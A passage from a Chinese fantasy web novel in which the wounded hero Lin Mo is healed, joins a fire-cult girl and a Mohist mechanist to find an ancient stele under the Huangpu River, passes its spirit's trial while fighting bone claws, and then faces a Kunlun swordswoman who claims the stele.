它们温顺了许多,如同被驯服的野马,在林默残破的经脉中流淌、修复,所过之处,焦黑的经脉如同枯木逢春,焕发出黯淡却真实的生机!
痛楚,依旧撕心裂肺。
但林默眼中,却爆发出前所未有的光芒!
右眼睁开!血丝密布,瞳孔深处,那点暗金星火清晰可见!
“引……导……”他嘶哑道,主动配合渔火的银针,用那微弱却坚韧的意志,引导着融合了薪火的青霖之力,冲击那些最顽固的伤处!
“好小子!”渔火浑浊的眼中爆出精光!手下银针引导更快、更准!
时间流逝。
油灯的火苗轻轻跳跃。
小屋外,黄浦江涛声依旧。
小屋内,林默身上的汗已由热转凉,血泪干涸。
剧痛如同潮水般缓缓退去,取而代之的是一种深入骨髓的疲惫,以及……经脉深处传来的、微弱却真实的……麻痒感!
那是新生的感觉!
焦黑的右手掌心,那深入骨髓的麻木感消退,取而代之的是火辣辣的刺痛,仿佛有无数蚂蚁在皮肉下啃噬、重建。
左眼的灼痛也大为缓解,虽然依旧空洞,但药布下的伤口传来丝丝凉意。
渔火缓缓收回最后一根银针,长长吐出一口浊气,脸色疲惫,眼中却带着欣慰。
“成了。”他看着瘫软在地、如同从水里捞出来却气息平稳的林默。
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“火毒死气已拔除九成,枯焦经脉已初步接续,本源……总算吊住了。”
他拿起青皮葫芦,小心盖好。
“剩下半滴青霖,融入你自身薪火,温养本源,假以时日,或有复原之机。但你这左眼‘神阙’被天工火本源灼穿,灵光已黯,除非找到传说中的‘补天髓’或‘造化青莲’,否则……”
渔火摇摇头,没有说下去。
林默挣扎着坐起,感受着体内那微弱却真实流转的、带着一丝暖意的力量(融合薪火的青霖之力)。
他摸了摸焦黑但已有知觉的右手,又抚上空洞的左眼。
“能活着……还能动……够了。”他声音沙哑,却透着一股劫后余生的平静与……更深的坚韧。
就在这时!
咚咚咚!
小屋那扇包着铁皮的厚实木门,被敲响了。
节奏轻快,带着点不耐烦。
“老火头!开门!再不开门,姑奶奶把你这门板拆了当柴火烧!”一个清脆娇蛮、如同银铃般的少女声音响起,带着浓重的南方口音。
渔火眉头一皱。
老铁头的声音也隐隐传来:“小祖宗!轻点!这门可贵了!”
吱呀——
渔火拉开木门。
门外。
老铁头一脸无奈。
他身边,站着一个约莫十六七岁的少女。
一身火红的苗疆短褂,袖口和衣襟绣着繁复的银色火焰纹路,露出纤细却充满力量感的小麦色手臂和脚踝。
乌黑的头发梳成许多细小的发辫,用五彩丝线束起,发辫间点缀着小小的银铃,随着她歪头的动作叮当作响。
眉眼如画,带着山野的灵秀,一双大眼睛如同燃烧的琥珀,此刻正滴溜溜地打量着屋内,最后定格在林默身上。
琼鼻微皱,红唇撇了撇。
“啧!老火头,你从哪捡回来这么个破烂?经脉跟被雷劈过的老树根似的,还瞎了一只眼?”少女声音清脆,话语却毫不客气。
她身后,一个穿着洗得发白、打着补丁的墨家弟子服的清秀少女探出头,约莫十五六岁,眼神清澈带着好奇,怀里抱着一个半人高的、由无数精巧木构件组成的奇异木鸢。
她推了推鼻梁上厚重的黑框眼镜,小声补充:“阿离师姐,根据能量波动分析,这位公子体内存在一种极其微弱却高度凝聚的未知阳性生命能量,正与一种富含乙木精粹及微弱剑意的外来能量进行深度融合,修复效率超出常规医学模型37.8%,这很……不科学。”
红褂少女叉腰,琥珀色的眸子瞪着林默:
“喂!破烂!你是哪个山沟里蹦出来的?怎么搞成这样的?还有,你身上那点小火苗,看着……有点眼熟啊?”
第十二章 南离琉火
小屋内外,气氛微妙。
阿离叉着腰,琥珀色的眸子如同燃烧的琉璃,带着毫不掩饰的好奇与审视,直勾勾盯着林默。
“喂!破烂!问你话呢!你那小火苗,哪来的?”
她身后的墨家少女推了推滑落的眼镜,小声补充:“师姐,根据能量场分析,这位公子体内的阳性生命能量,与您催动‘南明离火’时的核心波动,存在17.3%的近似频谱偏移,但本质层级似乎更高……”
“更高?”阿离柳眉一挑,非但不恼,反而更感兴趣了。“墨灵,你没算错?比我们火神教供奉的南明离火还高?”
“数据不会说谎。”墨灵认真点头,怀中的机关木鸢发出细微的齿轮转动声,仿佛在应和。
浦江渔火咳嗽一声,挡在林默身前,隔开阿离那灼人的目光。
“南疆火神教的小凤凰,墨家的小机关师,你们两个丫头片子,怎么跑魔都这滩浑水来了?”
“老火头,你管得着吗?”阿离下巴一扬,火红短褂上的银铃叮当作响。“我们奉婆婆之命,来找‘天工残碑’的!感应到这边有股子邪气,还有……”
她目光又溜向林默。
“还有这股让人心痒痒的小火苗!婆婆说,这火苗跟我们要找的残碑有关!”
天工残碑?
林默心中一动。与“天工开武图”有关?
“残碑?”老铁头凑过来,机械义眼红芒闪烁,“你们说的是……黄浦江底那块刻着鬼画符、硬得啃不动的破石头?”
“破石头?”阿离杏眼圆睁,仿佛受到莫大侮辱!“那是‘天工开物’的遗刻!记载着上古火工之秘!是南明离火的源头之一!你懂什么!”
她气鼓鼓地转向渔火:“老火头,你认识路!带我们去江底找残碑!找到碑,我就告诉婆婆这小子的情况,说不定婆婆有办法让他那点小火苗烧旺点!”
渔火浑浊的老眼闪过一丝精光,看向林默。
林默感受着丹田内那丝融合了青霖之力的暗金星火,以及怀中卷轴若有若无的脉动。
“前辈,我想去看看。”他声音低沉却坚定。
渔火沉吟片刻。
“江底残碑,确实存在。但那里水流诡异,暗藏凶险……”
“怕什么!”阿离拍着胸脯,银铃乱颤,“有姑奶奶的南明离火开路!管它什么妖魔鬼怪,一把火烧干净!”
墨灵也小声道:“我的‘璇玑’可以扫描水底地形,规避暗流。”
“那就……走一趟。”渔火最终点头。
夜。
黄浦江面,浊浪翻涌。
一艘不起眼的乌篷小船,悄无声息地滑入江心。
船头。
阿离赤着双足,立于船板。双手结印,口中念念有词,语调古老晦涩。
“离火昭昭,焚烬幽泉!”
嗡!
她双掌掌心,猛地腾起两团凝练如实质的赤金色火焰!
火焰并非灼热逼人,反而带着一种净化万邪、焚尽污浊的堂皇正大之意!将周围翻滚的浊浪都映照得如同熔金!
南明离火!
赤金火焰在她掌心跳跃,如同活物。周围的江水如同畏惧般,自动分开一条通道!
“璇玑,下水!”阿离娇叱。
墨灵怀中的机关木鸢“璇玑”眼中亮起幽蓝光芒,发出一声轻鸣,如同活鱼般跃入分开的江水,在前方引路。
乌篷小船紧随其后,顺着火焰分开的水道,缓缓下沉。
林默站在船中,仅存的右眼被赤金火光映亮。
他看着阿离掌中那堂皇正大的南明离火,又感受着自己丹田内那微弱却坚韧的暗金星火。
两者气息截然不同。
南明离火,如同煌煌大日,照耀世间,焚尽污秽。
他的薪火,却如同深埋地心的星核,承载着苍茫与守护,虽微,其志不灭。
但隐隐间,似乎又有一丝同源的……古老韵味?
怀中卷轴的脉动,随着下沉,越来越清晰。
江底。
淤泥沉积,光线昏暗。
一座巨大的、半掩在淤泥中的黑色石碑,出现在众人眼前。
石碑高达数丈,材质非金非石,布满岁月侵蚀的痕迹。碑面之上,刻满了无数极其古老、复杂玄奥的纹路,似火焰升腾,又似星辰轨迹,更夹杂着一些完全无法辨识的象形文字。
一股苍凉、厚重、仿佛源自文明源头的古老气息,扑面而来!
“就是它!”阿离眼中爆发出惊喜的光芒!“天工残碑!”
她掌中南明离火光芒大盛,驱散周围黑暗和浑浊,照亮碑面。
墨灵操控着“璇玑”木鸢,绕着残碑高速飞行,幽蓝的扫描光束仔细扫过每一寸碑文。
“碑文结构极其复杂,蕴含多重能量回路……部分区域被淤泥和奇异生物分泌物覆盖……扫描受阻……”
林默的目光,却被残碑中心一片相对干净的区域吸引。
那里,刻着一幅模糊的图案:一个蜷缩的人形,心口位置,一点微弱的火苗正在燃烧,周围是无尽的黑暗与锁链。火苗虽弱,却似乎要挣脱束缚,点燃一切!
一股源自血脉深处的悸动,猛地冲击着林默!
丹田内那点暗金星火,不受控制地剧烈燃烧
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起来!
嗡!
怀中沉寂的卷轴,第一次主动发出强烈的共鸣!
一道微弱的、凝练的暗金光束,不受林默控制地从他心口劲射而出,精准地打在那幅“心火燃暗”的图案中心!
轰——!!!
整个江底猛地一震!
天工残碑上,那些沉寂了不知多少岁月的古老纹路,如同被唤醒的星河,骤然亮起!
赤金色的火焰纹路!暗银色的星辰轨迹!青色的草木脉络!土黄色的山川印记!还有……林默射出的那道暗金光束!
五色光芒在残碑上交相辉映,疯狂流转、组合!
最终!
凝聚成一道复杂的、由无数光符构成的立体虚影!
虚影的核心,赫然是一点跳动的……暗金色火星!
与林默丹田内的薪火,同源同质!
“薪火……引……归源……”
一个断断续续、仿佛跨越了万古时空的苍老意念,直接在众人脑海中响起!
与此同时!
残碑底部,淤泥翻涌!
一道巨大的、由惨白骸骨构成的利爪,带着浓烈的骸渊死气,猛地破开淤泥,狠狠抓向正在全神贯注扫描的机关木鸢“璇玑”!
“小心!”林默瞳孔骤缩,破妄右眼瞬间锁定骨爪核心一点惨绿火星!
但重伤未愈的他,根本来不及反应!
“找死!”阿离怒喝!
“离火焚天!”
她双掌猛地向前一推!
掌中那两团赤金南明离火,瞬间暴涨!化作两条咆哮的赤金火龙,带着焚江煮海的恐怖威势,交叉着轰向那白骨巨爪!
轰隆——!!!
赤金火焰与惨白死气在江底疯狂对撞!
巨大的冲击波掀起滔天浊浪!
白骨巨爪被南明离火灼烧得滋滋作响,冒出浓烈黑烟,动作一滞!
“璇玑,回来!”墨灵急呼。
机关木鸢险险避开爪尖,飞回墨灵身边,翅膀上留下一道深深的焦黑痕迹。
“江底……还有黄泉逆鳞?!”老铁头抄起锻造锤,警惕地盯着翻涌的淤泥。
渔火脸色凝重,九针悬空:“不……是守护残碑的……‘碑灵’?还是……被骸渊污染的守卫?”
残碑之上。
那由五色光芒凝聚的立体虚影,在林默薪火光束的持续注入下,越来越清晰。
那点暗金火星,也越来越亮!
它似乎在……呼唤着什么?
林默感觉自己的意识,仿佛要被那虚影和火星吸进去!
而翻涌的淤泥深处。
更多的惨白阴影……
正在蠕动!
第十三章 碑灵试炼
赤金火龙与惨白骨爪的碰撞余波,在江底卷起狂暴的涡流!
淤泥如同沸腾的墨汁,遮蔽视线。乌篷小船剧烈摇晃,船体发出不堪重负的**。
“稳住!”渔火低喝,九根银针悬浮身周,针尾颤动,无形的气劲强行抚平船周乱流。
老铁头机械臂紧抓船舷,锻造锤上符文流转:“不止一只!下面还有东西在动!”
墨灵脸色微白,操控“璇玑”木鸢急速盘旋,幽蓝光束竭力穿透浑浊:“侦测到复数高能量骸渊反应!正在上浮!”
阿离俏脸含煞,掌中赤金火焰再次升腾:“管它几只!敢动姑奶奶的东西,统统烧成灰!”
她的南明离火虽对骸渊死气有克制之效,但那白骨巨爪核心的惨绿火星异常顽强,竟在赤金烈焰中挣扎不灭,甚至隐隐有反扑之势。
“师姐小心!那绿火能量层级在飙升!”墨灵急促提醒。
就在这时!
嗡——!!!
残碑之上,那由五色光芒凝聚、核心跳动着暗金火星的立体虚影,骤然光芒大盛!
“薪火……引……归源……”
那跨越万古的苍老意念,再次清晰响起!
这一次,不再是断断续续,而是带着一种不容置疑的威严与……期待?
虚影核心的暗金火星猛地一跳!
一道无形的、源自古老源头的“引力”,精准地笼罩在林默身上!
林闷哼一声!
他丹田内那点暗金星火,如同被投入沸油的冷水,以前所未有的速度疯狂旋转、燃烧!
一股灼热而苍茫的力量,顺着那道无形的联系,汹涌地涌入他干涸的经脉!
“呃啊!”林默单膝跪地,右手死死按住心口。
破妄右眼金光暴射,勉强维持着意识清明。他感觉自己的身体像个即将被撑爆的容器,古老的力量在冲刷、改造、呼唤!
“破烂!你怎么了?”阿离惊呼,分神看向林默。
“小心!”渔火厉喝。
就在阿离分神的刹那!
淤泥深处,第二只、第三只更加庞大、缠绕着浓郁黑气的白骨巨爪,猛地撕裂泥浪,呈品字形,带着刺骨的阴寒死气,狠狠抓向船体!目标直指船头的阿离和……被虚影锁定的林默!
速度太快!威势远超第一只!
“离火焚……”阿离仓促回神,催动离火。
但巨爪未至,那核心的惨绿火星猛地爆发出诡异吸力!周围的江水瞬间变得粘稠冰冷,连赤金火焰的光芒都黯淡了一瞬!
“不好!领域压制!”墨灵失声。
老铁头怒吼一声,机械臂抡起锻造锤,带着千钧之力砸向最近的一只骨爪!
“铛——!”
金铁交鸣般的巨响!火星四溅!
骨爪只是微微一滞,反震之力让老铁头连退数步,机械臂发出刺耳的摩擦声。骸渊死气如跗骨之蛆,顺着锤柄侵蚀而上!
“老铁!”渔火九针齐出,化作九道银芒,精准刺入老铁头手臂穴位,暂时封住死气蔓延。
另一只骨爪已到阿离头顶!阴风扑面,死亡的寒意冻结骨髓!
“璇玑!御!”墨灵咬牙,操控木鸢化作一道流光挡在阿离身前。
“嗤啦!”
坚韧的机关木鸢被骨爪指尖擦过,瞬间留下一道深可见骨的焦黑裂痕,灵光黯淡,摇摇欲坠!
阿离瞳孔收缩,南明离火被压制,救援不及!
千钧一发!
“破妄!”
一声低沉压抑的嘶吼!
船尾,一直被古老力量冲击的林默,猛地抬头!
仅存的右眼,金光炽烈到几乎燃烧!视野中,那抓向阿离的骨爪核心,惨绿火星的运转轨迹、能量节点,纤毫毕现!
身体的剧痛与暴涨的力量,在生死危机下,被一股不屈的意志强行拧成一股!
他没有武器,只有那被引动的、狂暴的暗金薪火!
遵循着破妄之眼锁定的“破绽”!
林默右手并指如剑,凝聚全身被引动的狂暴力量,朝着那惨绿火星的核心节点,狠狠一戳!
没有惊天动地的**。
只有一点凝练到极致、带着苍茫星火之意的暗金光芒,如同烧红的针尖,瞬间刺入惨绿火星的核心!
“滋——!”
如同滚油泼雪!
那顽强抵抗南明离火的惨绿火星,被这一点暗金光芒刺入后,猛地一颤!随即发出刺耳的尖啸,绿芒疯狂闪烁、明灭不定!
骸渊死气骤然紊乱!
抓向阿离的骨爪动作瞬间僵直,表面的惨白光泽迅速黯淡、龟裂!
“就是现在!”渔火眼中精光爆射!
“九针定魂!”
九道银芒后发先至,精准无比地钉入骨爪的九处关节要害!银针震颤,发出清越嗡鸣,强行锁住其骸渊死气的运转!
阿离抓住这转瞬即逝的机会!
“给姑奶奶碎!”
她娇叱一声,双掌赤金离火再无保留,化作一柄巨大的火焰铡刀,带着焚尽污秽的堂皇意志,狠狠斩在骨爪的“手腕”处!
轰!
赤金烈焰爆发!
被林默破去核心、又被渔火锁住的骨爪,再也无法抵挡,在离火中寸寸断裂,化为飞灰!
“好!”老铁头精神一振。
然而,危机并未解除!
被林默击伤核心的第一只骨爪,以及第三只完好的骨爪,发出更加狂暴的嘶鸣,裹挟着滔天黑气,再次扑来!同时,淤泥翻涌,第四、第五只骨爪的轮廓若隐若现!
“没完没了了!”阿离气息微喘,连续催动离火消耗巨大。
渔火和老铁头面色凝重,敌人数量超出预计,且在这被骸渊死气污染的江底,环境极其不利。
墨灵看着受损的璇玑,飞快计算:“能量消耗过大,支援火力不足30%!建议……”
就在众人压力陡增之际!
嗡——!
残碑上的五色虚影,光芒再次暴涨!
那核心的暗金火星跳动得越发急促!
“试炼……启……”
苍老意念带着不容置疑的威严!
一股无形的波动,以虚
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影为中心,瞬间扫过整个江底!
扑向众人的白骨巨爪,动作猛地一滞!
它们核心的惨绿火星剧烈闪烁,仿佛在抗拒,又仿佛在……臣服?
紧接着,一个冰冷、僵硬,带着金石摩擦般质感的声音,直接在所有人脑海中响起:
“擅闯……禁地……当诛……”
“然……薪火引归源……”
“持……火种者……可……受……碑灵……试炼……”
声音断断续续,毫无情感,仿佛只是某种预设程序的执行。
随着声音落下,那五色虚影核心的暗金火星,骤然分出一缕极其微弱、却无比纯粹的光芒,如同一颗跳动的种子,缓缓飘向林默!
“试炼?”阿离一愣,“这破石头碑还有碑灵?试炼什么?”
渔火眼中闪过明悟:“原来如此!这些骨爪并非纯粹的骸渊爪牙,更像是被污染、扭曲的残碑守卫!它们感应到薪火气息,本能攻击,却又被碑灵规则约束!”
“薪火引归源……”墨灵推了推眼镜,看向那飘向林默的暗金火种,“林公子是‘持火种者’!这试炼,是给他的!”
林默看着飘来的暗金火种,丹田内的薪火与之共鸣,前所未有的强烈!
那火种中,蕴含着古老、纯粹、直达本源的火焰真意!更有一股……呼唤他意识沉入其中的牵引力!
是机缘,亦是未知的凶险!
“破烂!接住它!”阿离喊道,眼神灼灼,“婆婆说过,天工遗刻的试炼,是福缘也是劫!别怂!”
渔火沉声道:“林小子,凝神静气!碑灵试炼,直指本心!守住你的‘薪火’!”
老铁头挥舞锻造锤,警惕四周:“放心去!这些骨头架子,有我们暂时挡着!它们好像被碑灵规则限制了!”
林默深吸一口气,仅存的右眼金光湛然。
他看着那飘至眼前的暗金火种,感受着体内薪火的渴望与呼唤,更感受到渔火、老铁头、阿离、墨灵投来的目光。
没有犹豫!
他伸出手,并非去抓,而是敞开自己的心扉,用那不屈的意志,去接纳!
嗡!
暗金火种触及他指尖的瞬间,化作一道流光,没入他的眉心!
轰!
林默的意识,仿佛瞬间被投入了无垠的星海!
眼前不再是浑浊的江底,而是浩瀚苍茫的宇宙!
无数星辰明灭,文明的兴衰如同尘埃般起落。
一点微弱的火苗,在宇宙的最深处,在无尽的黑暗与冰冷中,孤独地燃烧着。
它如此渺小,仿佛下一刻就要熄灭。
但它燃烧着!倔强地燃烧着!用那微弱的光和热,对抗着吞噬一切的虚无!
一股难以言喻的苍凉、孤寂、却又坚韧不拔的意志,如同洪流般冲击着林默的灵魂!
“薪火……永燃……”
一个宏大而悲怆的声音,在他灵魂深处响起。
“传承……还是……湮灭……”
“证明……你的……火种……”
试炼,开始了!
第十四章 星火燎原
浩瀚星海,孤火摇曳。
林默的意识,被那一点在无尽虚无中倔强燃烧的微小火苗完全攫取。
苍凉、孤寂、仿佛背负着整个文明重量的悲怆意志,如同亿万钧的潮汐,反复冲刷着他的灵魂!
“传承……还是……湮灭……”
那宏大而古老的声音,不带丝毫情感,只是冰冷的诘问。
“证明……你的……火种……”
林默感觉自己正在被分解、被审视!他的过往、他的意志、他丹田中那点微弱的暗金星火,都在这片宇宙尺度下纤毫毕现!
反抗?在这股意志面前,他渺小如尘埃。
屈服?那点孤火燃烧的倔强,如同烙印般刻入他的灵魂深处!
“薪火……永燃……”
他“看”向那点孤火,并非用眼,而是用自己同样在丹田中挣扎燃烧的薪火去共鸣!
“我的火……生于废墟……燃于绝境……”
他想起了浦江废墟的断壁残垣,想起了白骨巨人的滔天死气,想起了自己拖着残躯也要点燃的那点光!
“不为照耀万古……只为……点燃眼前!”
“只为……守护所及!”
这并非豪言壮语,而是源自骨髓深处最朴素的呐喊!
嗡!
丹田内那点暗金星火,仿佛感受到了他灵魂的共鸣,猛地爆发出前所未有的光芒!一股源自苍茫大地、源于黎民苍生的坚韧与守护之意,逆流而上,冲向那孤寂的星火!
“守护……所及……”
那宏大声音似乎产生了一丝极其细微的波动。
眼前的景象骤然变幻!
星海崩塌,火苗熄灭的瞬间,化作一片更加死寂、遍布巨大文明残骸的废墟!
断折的通天巨柱、倾覆的青铜巨城、风化的神魔雕像……死气弥漫,了无生机。
唯有在废墟的极深处,一点比之前更加微弱、几乎透明的火星,在绝望的寒风中,明灭不定,随时可能彻底湮灭。
“点燃它……”
冰冷的声音命令道。
林默的意识被强行推向那点火星!
越靠近,那死寂与绝望的寒意越重!仿佛要将他的灵魂连同他的薪火一起冻结、磨灭!
“呃啊!”
意识体发出无声的嘶吼!丹田的薪火疯狂燃烧,对抗着湮灭一切的寒意!
他“伸”出意念,不是去攫取,而是将自己的薪火,如同守护的火种,小心翼翼地去靠近、去包裹那点即将熄灭的微光!
“我的火……虽微……其志……不灭!”
暗金的光芒温柔地覆盖上去。
嗤……!
如同冰水浇入熔岩!剧烈的冲突在林默意识中炸开!
守护与绝望的意志疯狂对冲!
无数破碎的、充满不甘与毁灭的意念碎片,如同尖刀般刺向林默!那是上一个文明毁灭时残留的怨念与绝望!
“滚开!”林默怒吼!
破妄右眼的力量在意识层面本能爆发!金光扫过,精准地剔除那些混乱、充满毁灭的负面碎片!
只留下最纯粹的、对“生”与“光”的渴望!
“守护……点燃!”
他的薪火意志,带着过滤后的纯粹生机,彻底融入那点微光!
轰——!!!
那点微弱的火星,如同被注入了全新的生命!
它猛地一跳!
不再是死寂的灰白,而是焕发出一种充满韧性的、温暖的、属于林默的暗金光泽!
虽然依旧微小,却牢牢扎根于这片死寂废墟,驱散了周围一小片绝望的寒意!
一点星火,照亮方寸!
“薪火……燎原……之始……”
冰冷的声音,第一次带上了一丝……认可?
整个废墟试炼空间开始震动、淡化!
林默的意识被一股柔和却强大的力量推出!
江底。
现实只过了一瞬!
林默眉心处那点暗金火种印记骤然亮起,随即隐没。
他猛地睁开仅存的右眼!
瞳孔深处,仿佛有星火燎原的虚影一闪而逝!
一股难以言喻的苍茫与坚韧气息,从他身上勃然散发!虽然身体依旧残破,但精神意志却如同经历千锤百炼的神兵,锋芒内敛,却又坚不可摧!
“破烂!你醒了?”阿离第一个发现,惊喜喊道。
渔火、老铁头、墨灵都精神一振。
但危机并未解除!
那几只被碑灵规则暂时压制的白骨巨爪,核心处的惨绿火星感应到林默身上那股蜕变后的、对它们更具威胁的薪火气息,猛地爆发出刺目的绿芒!
“吼——!”
骸渊死气如同井喷!粘稠阴寒的领域再次扩张,竟隐隐有挣脱碑灵规则束缚的迹象!更多惨白的骨爪从淤泥中探出,带着令人窒息的恶意!
“不好!这些鬼东西被刺激疯了!”老铁头抡锤砸开一只探近的骨爪,火星四溅。
墨灵操控受损的璇玑木鸢,勉强构建出一道能量屏障:“能量告急!屏障强度不足15%!”
“姑奶奶跟你们拼了!”阿离咬牙,掌中赤金离火再次升腾,但光芒比之前黯淡不少,消耗太大。
渔火九针环绕,脸色凝重:“林小子,试炼如何?”
林默感受着体内焕然一新的薪火之力,它不再仅仅是丹田一点火星,而是与他的意志、他的破妄之力初步交融,流淌在残破的经脉中,带来一丝丝微弱的修复与强大的韧性!
他看向那几只狂躁扑来的骨爪,破妄右眼金光湛然!
视野中,骨爪核心的惨绿火星,其运转轨迹、能量节点、乃至其中蕴含的混乱怨念,都前所未有的清晰!
“前辈,守好大家!”
林默的声音低沉而稳定,带着一种奇异的穿透力。
他一步踏出,竟主动迎向一只抓来的巨大骨爪!
“破烂你疯了!”阿离惊呼。
“林公子!”墨灵也失声。
那骨爪携带着恐怖的死气领域,足以冻结灵魂!重伤未愈的林默如何能挡?
林默不闪不避!
丹田内,蜕变后的暗金薪火轰然燃烧!
遵循着破妄之眼锁定的轨迹,他的右手并指,指尖一点凝练到极致、带着苍茫守护意志的暗金光芒,如同划破永夜的流星,精准无比地点向骨爪核心惨绿火星的“死寂节点”!
那正是他意识试炼中,对抗绝望、点燃生机所领悟的“薪火真意”!
嗤——!
没有惊天动地的**,只有一声如同烧红烙铁浸入冰水的轻响。
那狂暴的惨绿火星,被这一点蕴含“守护点燃”真意的暗金光芒点中,如同被戳破的气球!
绿芒疯狂闪烁、扭曲、发出无声的尖啸!
骸渊死气瞬间失控紊乱!
整个骨爪的动作瞬间僵直,表面的惨白骨骼以接触点为中心,迅速蔓延开蛛网般的暗金色裂纹!
裂纹中,不再是死气,而是微弱却坚韧的暗金火焰在燃烧!
“碎!”
林默低喝一声,指尖力量微微一吐!
轰!
那巨大的骨爪,竟如同被点燃的朽木,由内而外,在暗金火焰中寸寸崩解、化为飞灰!连一丝死气残渣都未留下,被彻底净化!
“嘶!”老铁头倒抽一口冷气。
“这……这破烂火苗……这么猛?!”阿离琥珀色的眸子瞪得溜圆,掌中的离火都忘了催动。
墨灵飞快记录数据:“能量反应……层级跃迁!对骸渊死气核心湮灭效率……99.8%!不可思议!”
渔火浑浊的老眼爆发出精光:“好小子!薪火燎原!这才是薪火真意!”
林默一击灭杀一只强大骨爪,动作毫不停滞!
破妄右眼金光扫过,瞬间锁定另外两只骨爪的核心!
他身形在浑浊江水中显得有些踉跄,重伤的身体负担极大,但那股意志却如同燃烧的恒星!
指尖暗金光芒再闪!
嗤!嗤!
又是两点星火般的指劲,精准命中!
轰!轰!
两只
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狂躁的骨爪步了后尘,在暗金火焰中崩解净化!
剩余的骨爪似乎感受到了致命的威胁,核心惨绿火星剧烈跳动,竟带着一丝恐惧,开始缓缓后退,试图缩回翻涌的淤泥深处!
“想跑?”阿离柳眉倒竖,虽然震惊于林默的变化,但战斗本能让她立刻抓住机会!
“离火封江!”
她双手结印,残余的赤金离火化作数道火线,如同锁链般缠绕向那些退缩的骨爪,虽无法彻底焚灭,却大大迟滞了它们的动作!
“璇玑!干扰!”墨灵操控木鸢射出几道微弱的能量束,干扰惨绿火星的运转。
“给老子留下!”老铁头看准时机,锻造锤带着风雷之声,狠狠砸在一只骨爪的关节处!
骨爪巨震!
林默眼中厉芒一闪!
破妄锁定!薪火指劲再出!
嗤!
最后一只骨爪在暗金火焰中化为乌有!
江底,暂时恢复了诡异的平静。只有翻涌的淤泥和残碑上依旧流转的五色光芒。
“呼……呼……”林默剧烈喘息,身体微微颤抖,刚才的爆发几乎抽空了他本就微弱的力量。但丹田内的薪火,却比之前更加凝实、坚韧,散发着温暖的光。
“干得漂亮!破烂!”阿离收起离火,兴奋地拍了一下林默的肩膀,差点把他拍倒。
墨灵小心地扶住璇玑,镜片后的眼睛充满探究:“林公子,您的薪火……似乎发生了质变?”
渔火和老铁头也围了上来,眼神欣慰又凝重。
林默正欲开口。
嗡——!
残碑之上,那五色虚影再次波动。
冰冷僵硬的声音,带着一丝不易察觉的……复杂?
“试炼……通过……”
“薪火……燎原……之势……已成……”
“然……火种……不全……前路……多艰……”
“吾……碑灵‘炎烬’……守此残躯……万载……”
“今……归源引动……吾责……暂了……”
随着声音,那立体虚影核心的暗金火星,骤然化作一道流光,没入林默眉心!
一股精纯、古老、直达火之本源的力量,瞬间融入他丹田的薪火之中!
薪火猛地壮大了一圈!暗金光芒更加深邃!一股源自“天工”体系的古老信息碎片,也涌入林默脑海!
同时,残碑上流转的五色光芒迅速黯淡下去,仿佛耗尽了最后的力量。
“火种不全?什么意思?”阿离追问。
但残碑再无回应,彻底沉寂,变成一块普通的巨大黑石。
就在这时!
“何方宵小,扰我昆仑禁域?”
一个清冷如冰泉击玉、却又带着无上威严的女声,突兀地在浑浊的江底响起!
声音不大,却仿佛蕴含着冻结灵魂的力量,瞬间穿透水压,清晰传入每个人耳中!
众人悚然一惊!
只见江底上方,浑浊的水流被一股无形的力量强行排开!
一道身影,踏月华而来!
她身着月白云纹道袍,身姿高挑清绝,仿佛汇聚了九天寒月之精粹。一头青丝以一根古朴木簪简单挽起,面容清丽绝伦,却如万载玄冰,不带丝毫人间烟火气。眼眸是纯粹的银色,冰冷、深邃,仿佛能洞穿一切虚妄。
最引人注目的是她背后悬浮的一柄无光古剑,剑身如墨,无锋无锷,却散发着令整个江底都为之冻结的恐怖剑意!
她足尖轻点虚空,月白云纹道袍在江水中纹丝不动,纤尘不染。
银色眼眸扫过沉寂的残碑、狼藉的战场、以及林默等人,最终落在林默身上——更准确地说,是落在他眉心那尚未完全隐去的暗金火种印记上。
“天工遗刻……竟被引动?”
她冰冷的眼中,第一次闪过一丝极淡的讶异,随即化为更深的审视与……一丝不易察觉的戒备?
“汝等何人?”
她的声音依旧清冷,却带着不容置疑的质问。
“此碑,当归昆仑。”
第十五章 月华照昆仑
月华清冷,冻结江底。
云无月悬立虚空,月白云纹道袍纤尘不染。背后那柄无光古剑散发出的无形剑意,如同万载寒渊,瞬间压制了残碑五色余晖与战场残留的灼热死气。
林默只觉一股彻骨寒意侵入骨髓,连丹田内新生的暗金薪火都微微一滞。
“昆仑?”渔火浑浊的老眼骤然锐利,上前一步,隐隐将林默护在身后。“此地乃魔都黄浦江,何时成了昆仑禁域?”
老铁头紧握锻造锤,机械臂发出低沉嗡鸣:“小女娃好大的口气!这碑埋在江底烂泥里不知多少年,你说是你的就是你的?”
阿离琥珀色眸子燃起火焰,毫不畏惧地瞪向云无月:“喂!冰块脸!这碑是我们先找到的!凭什么归你昆仑?”
墨灵推了推眼镜,怀中璇玑木鸢发出微弱的扫描光:“能量层级……无法解析……危险度……极高!建议……谨慎沟通。”
云无月银色眼眸淡漠地扫过众人,目光最终定格在林默身上,那丝审视与戒备愈发明显。
“此碑,乃‘天工·火’之遗刻。”
她声音清冷如冰玉相击,不带波澜。
“上古昆仑,掌天工之序。凡天工遗物,皆属昆仑禁域。”
“汝等引动遗刻,惊扰碑灵,已犯禁律。”
“念尔等初犯,交出遗刻,退去,可免责罚。”
“交出?”阿离气笑了,“我们差点被那些骨头架子撕碎才引动这破碑!你说交就交?”
林默强忍着那刺骨剑意的压制,破妄右眼金光微闪,直视云无月那双冰冷的银眸。
“前辈。”他声音因压力而微哑,却异常坚定。“此碑非我等私物。碑灵‘炎烬’前辈已认可我通过试炼,传我火种……”
“火种?”云无月银眸微凝,视线如实质般刺向林默眉心。“汝体内薪火,驳杂不纯,火种不全,徒具其形。”
她的话语如同冰锥,精准刺中林默的隐患。
“此等残缺火种,岂配承载天工遗泽?”
“速交遗刻!”
最后四字,如冰峰崩落!无形的剑意骤然加重!
轰!
林默闷哼一声,身体剧震,嘴角溢出一丝鲜血!丹田薪火疯狂摇曳,仿佛随时会被冻结熄灭!
渔火、老铁头、阿离、墨灵同时感到如山压力,气血翻涌!
“欺人太甚!”老铁头怒吼,机械臂抡锤就要砸出!
“住手!”渔火厉喝,九针齐出,化作一片银芒护住众人,针尾剧烈震颤,艰难抵御那恐怖的剑意威压。“她是……昆仑‘月华剑主’云无月!不可力敌!”
“月华剑主?”阿离俏脸发白,显然听过这名号。
云无月神色漠然,对老铁头的反应视若无睹。她只是微微抬手,背后那柄无光古剑,剑柄处一点微不可察的墨色幽光悄然流转。
整个江底的水流,仿佛彻底凝固!连翻涌的淤泥都静止了!
绝对的压制!
“遗刻,当归昆仑。”她再次重复,不容置疑。
就在这千钧一发之际!
嗡——!
